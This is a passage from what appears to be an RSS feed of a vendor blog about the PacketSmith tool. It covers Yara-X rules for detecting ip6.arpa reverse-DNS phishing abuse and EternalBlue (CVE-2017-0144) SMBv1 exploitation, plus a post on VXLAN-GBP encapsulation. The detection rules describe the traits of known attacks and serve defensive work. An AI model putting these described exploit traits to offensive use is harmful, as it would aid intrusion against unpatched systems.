  dns.qry[0].type   == 1  // A
  and
  dns.qry[0].class  == 1 // IN
  and
  dns.qry[0].name.labels.total &gt; 2
  and	  
  // example: c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa
  dns.qry[0].name.qname endswith ".ip6.arpa"
  
  and
  
  dns.ansr_rr[0].type  == 1  // A
  and
  dns.ansr_rr[0].class == 1  // IN
  and
  dns.ansr_rr[0].rdata.size == 4	  
}
</code></pre>
<p>Similar detection logic could be applied to the <a href="https://www.iana.org/domains/arpa">in-addr.arpa</a> reverse DNS zone.</p>
<p>Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/yara_dte_2026_03_17_11_46_06.json">yara_dte_2026_03_17_11_46_06.json</a> with all the detections:</p>
<p><code>PacketSmith.exe -i arpa_ip6_reverse_dns_a_record.pcap -D yara:console_json -F frames: -O .</code></p>
<h1>Conclusion</h1>
<p>This article documents the misuse of the <code>.arpa</code> TLD, specifically the <code>ip6.arpa</code> reverse DNS zone, as <a href="https://www.infoblox.com/blog/threat-intelligence/abusing-arpa-the-tld-that-isnt-supposed-to-host-anything/">seen in the wild</a>, for phishing purposes, and demonstrates how to write a generic Yara-X rule using PacketSmith's custom pattern identifier <code>dns</code> to detect malicious use of the <code>ip6.arpa</code> reverse DNS zone.</p>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: March 17, 2026</p>
]]></content:encoded></item><item><title><![CDATA[How to Apply VXLAN-GBP Encapsulation to PCAP Files Using PacketSmith]]></title><description><![CDATA[Introduction
In version 5.1.0 (codenamed Taxus), released on March 16, 2026, the injection engine has undergone a significant evolution, transitioning from basic command-line parameters to a robust, t]]></description><link>https://blog.netomize.ca/how-to-apply-vxlan-gbp-encapsulation-to-pcap-files-using-packetsmith</link><guid isPermaLink="true">https://blog.netomize.ca/how-to-apply-vxlan-gbp-encapsulation-to-pcap-files-using-packetsmith</guid><category><![CDATA[vxlan]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[packetsmith]]></category><category><![CDATA[packet]]></category><category><![CDATA[frame]]></category><category><![CDATA[encapsulation]]></category><category><![CDATA[vxlan-gbp]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Mon, 16 Mar 2026 12:31:37 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>In version 5.1.0 (codenamed Taxus), released on March 16, 2026, the injection engine has undergone a significant evolution, transitioning from basic command-line parameters to a robust, template-driven architecture. Injections are now orchestrated via external JSON objects, enabling highly customizable repeatable traffic generation.</p>
<p>Before version 5.1.0, PacketSmith already supported injecting DNS query and response packets, VLAN encapsulation layer, and TCP handshake packets, and in the latest release, v5.1.0, we've added support for injecting VXLAN-GBP (Virtual Extensible LAN) encapsulation layer, encapsulating the entire (original) frame over UDP. The VXLAN <strong>outer layers</strong> consist of an Ethernet layer, IPv4 or IPv6 layer, and a UDP layer that carries the VXLAN header and the encapsulated frame. All of the outer layers’ attributes are customizable via the JSON object “<strong>vxlan</strong>”, including every flag in the GBP extension and the rest of the fields. Furthermore, PacketSmith can dynamically calculate the outer UDP source port based on the inner 5-tuple. Users can choose from several industry-standard hashing algorithms, including <code>Jenkins</code>, <code>Toeplitz</code>, <code>CRC16</code>, <code>CRC32</code>, and <code>XOR</code>.</p>
<h1>VXLAN-GBP Encapsulation Using PacketSmith</h1>
<p>To encapsulate all the original frames in a pcap with a VXLAN-GBP (Virtual Extensible LAN) encapsulation layer, refer to the file "<code>inject_templates\inj_tpl.json</code>" that resides in the same directory as the PacketSmith executable. The relevant configuration is defined within the <code>vxlan</code> object, located under the <code>inject</code> → <code>layers</code> path in the JSON schema (the '<code>t</code>' notation indicates the required data type for each corresponding key) :</p>
<pre><code class="language-json">{
    // encapsulate the original frame inside a VXLAN layer
    "name": "vxlan",

	"outer_layers":
	{
		"ethernet":
		{
			// t:str
			"src_mac": "00:0c:29:e3:c6:4d",
			// t:str
			"dst_mac" : "00:0c:29:da:d1:de",
			// t:str
			"eth_type": "ipv4" // "ipv4" or "ipv6" 
		},
		
		"ipv4":
		{
			// t:str
			"src_ip": "192.168.0.1",
			// t:str
			"dst_ip": "192.168.0.2",
			// t:int
			"ttl": 64
		},
		
		"ipv6":
		{
			// t:str
			"src_ip": "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
			// t:str
			"dst_ip": "2001:db8::ff00:42:8329",
			// t:int
			"hop_limit": 64
		},
		
		"udp":
		{
			// t:int
			"src_port": 1234,
			// t:str - hash functions: "jenkins", "toeplitz", "crc16", "crc32", "xor", "none"
			// if "none", then the source port is set to the static port in "src_port"
			"src_port_hash": "toeplitz",
			// t:int
			"dst_port": 4789 
		}
	},
	
	"flags":
	{
		// t:bool
		"gbp_extension": false,
		// t:bool
		"vni": true,
		// t:bool
		"dont_learn": false,
		// t:bool
		"policy_applied": false,
		// t:int
		"reserved": 0
	},
	
	// t:int
	"group_policy_id": 48,
	// t:int
	"vni": 6969,
	// t:int
	"reserved": 0
}
</code></pre>
<p>All the JSON key values are mutable, providing granular control over all outer-layer parameters. This includes exhaustive support for the GBP extension flags, ensuring every field can be customized to meet specific network requirements.</p>
<p>Let's take the following TCP packet as an example:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/9d4546dc-4055-47ae-bd16-7d59294c2916.png" alt="" style="display:block;margin:0 auto" />

<p>To VXLAN-GBP encapsulate it, we use the following command line options:</p>
<p><code>PacketSmith.exe --infile &lt;input_pcap&gt; --outfile &lt;output_pcap&gt; --inject layer:vxlan --checksum</code></p>
<p>Using the above JSON object, we get the following output:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/a50ca0fc-e1b4-4977-bcaf-6832e4cb662e.png" alt="" style="display:block;margin:0 auto" />

<h1>Conclusion</h1>
<p>In summary, we have shown how to wrap original PCAP frames with a VXLAN-GBP layer. The shift to a JSON-driven injection engine enables users to define complex tunnelling parameters in a structured format, thereby facilitating consistent, scalable network simulations.</p>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: March 16, 2026</p>
]]></content:encoded></item><item><title><![CDATA[How to Detect EternalBlue Exploitation]]></title><description><![CDATA[Introduction
On February 05, 2026, we released version 5 of PacketSmith, featuring a new detection module that seamlessly integrates Yara-X with most of the protocols supported by PacketSmith. To demo]]></description><link>https://blog.netomize.ca/how-to-detect-eternalblue-exploitation</link><guid isPermaLink="true">https://blog.netomize.ca/how-to-detect-eternalblue-exploitation</guid><category><![CDATA[packetsmith]]></category><category><![CDATA[yara-x]]></category><category><![CDATA[shadowbrokers]]></category><category><![CDATA[smbv1]]></category><category><![CDATA[cve-2017-0144]]></category><category><![CDATA[eternalblue]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Thu, 12 Feb 2026 13:45:07 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>On February 05, 2026, we released <a href="https://packetsmith.ca/release-notes/">version 5 of PacketSmith</a>, featuring a new detection module that seamlessly integrates Yara-X with most of the protocols supported by PacketSmith. To demonstrate the capabilities of these new features, we published a <a href="https://packetsmith.ca/yara-x-packetsmith-detection-module/">sneak-peek article</a> focusing on the detection of DNS tunnelling in Denis’s Backdoor. In the accompanying documentation, we provide more sophisticated and non-trivial examples that showcase the powerful interplay between PacketSmith and Yara-X's native pattern matching capabilities. For instance, we explain how to detect attempted exploitation of <a href="https://nvd.nist.gov/vuln/detail/cve-2024-38063">CVE-2024-38063</a>, which involves checking the IPv6 extensions.</p>
<p>In this article, we provide another example, showcasing how to detect the famous EternalBlue exploitation vector (<a href="https://nvd.nist.gov/vuln/detail/cve-2017-0144">CVE-2017-0144</a>).</p>
<h1>Detection Logic</h1>
<p>A custom Yara-X rule that uses the pattern identifiers (objects) <code>tcp</code>, <code>flow</code> and <code>port</code>, could be derived similar to the following to detect the anomalous part where the <code>Data Displacement</code> word value is greater than the word value of the field <code>Total Data Count</code>.</p>
<pre><code class="language-cpp">rule smb_memory_corruption_vuln_cve_2017_0144_v3
{
    meta:
	
	  description = "CVE-2017-0144"
	  tags        = "shadowbroker, eternalblue"
      filter      = "Frames (frames:)"
	  reference   = "https://nvd.nist.gov/vuln/detail/cve-2017-0144"
	  author      = "Netomize"
	  date        = "12/02/2026"
	
    strings:
	
	  // SMB Command: Trans2 Secondary (0x33)
      $smb_trans2 = { ff 53 4d 42 33 00 00 00 00 }

    condition:
	
	  tcp.is_set and flow.to_server and (port.dst == 445 or port.dst == 139)
	  and
	  with smb_pkt = tcp.data.offset + 4:
	  (
		// early exit
		$smb_trans2 at smb_pkt
		and
		with total_data_count  = uint16(smb_pkt + 9 + 26),
		     data_displacement = uint16(smb_pkt + 9 + 38):		   
		(
			data_displacement &gt; total_data_count
		)
	  )
}
</code></pre>
<p>The first line in the detection logic should be self-explanatory: <code>tcp.is_set and flow.to_server and (port.dst == 445 or port.dst == 139)</code>. Since we are using the <code>frames</code> filter, which checks every packet, it is advised to use the Boolean expression <code>tcp.is_set</code> to ensure that we are dealing with a TCP packet.</p>
<p>The aliased <code>smb_pkt</code> offset in (<code>smb_pkt = tcp.data.offset + 4</code>) skips the first 4 bytes, which is the NetBIOS Session service. With this expression: <code>$smb_trans2 at smb_pkt</code>, the rule checks for the SMBv1 server component “SMB” with the command Trans2 Secondary (0×33), followed by the NT Status equal to Statuc_Success (0×00000000). This is an atomic early-exit signal, so we filter out all other SMB packets as early as possible.</p>
<p>What follows is the actual detection logic related to the vulnerability, where the <code>data_displacement &gt; total_data_count</code>.</p>
<p>Take the <a href="https://github.com/0xtf/testmynids.org/blob/master/pcaps/shadowbrokers/eternalblue-success-unpatched-win7.pcap">pcap</a> (<em>eternalblue-success-unpatched-win7.pcap</em>) as an example.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770845107993/50bffcee-1ffa-4e78-9bef-84b30a0bf059.png" alt="CVE-2017-0144 - SMBv1 Offending Packet" style="display:block;margin:0 auto" />

<p>Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as an XML Workbook, we get the file <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/yara_dte_2026_02_12_12_34_06.xml">yara_dte_2026_02_12_12_34_06.xml</a> (use MS Excel to view it) with all the detections:</p>
<p><code>PacketSmith.exe -i eternalblue-success-unpatched-win7.pcap -D yara:xml -F frames: -O .</code></p>
<h1>Conclusion</h1>
<p>In conclusion, detecting EternalBlue exploitation requires a deep understanding of network protocols and the ability to analyze packet data effectively. By leveraging the capabilities of PacketSmith and Yara-X, security professionals can create custom rules to identify anomalies indicative of this exploit. The integration of these tools allows for precise detection by focusing on specific patterns and behaviours within network traffic, such as the SMBv1 protocol's data displacement issue.</p>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: February 12, 2026</p>
]]></content:encoded></item></channel></rss>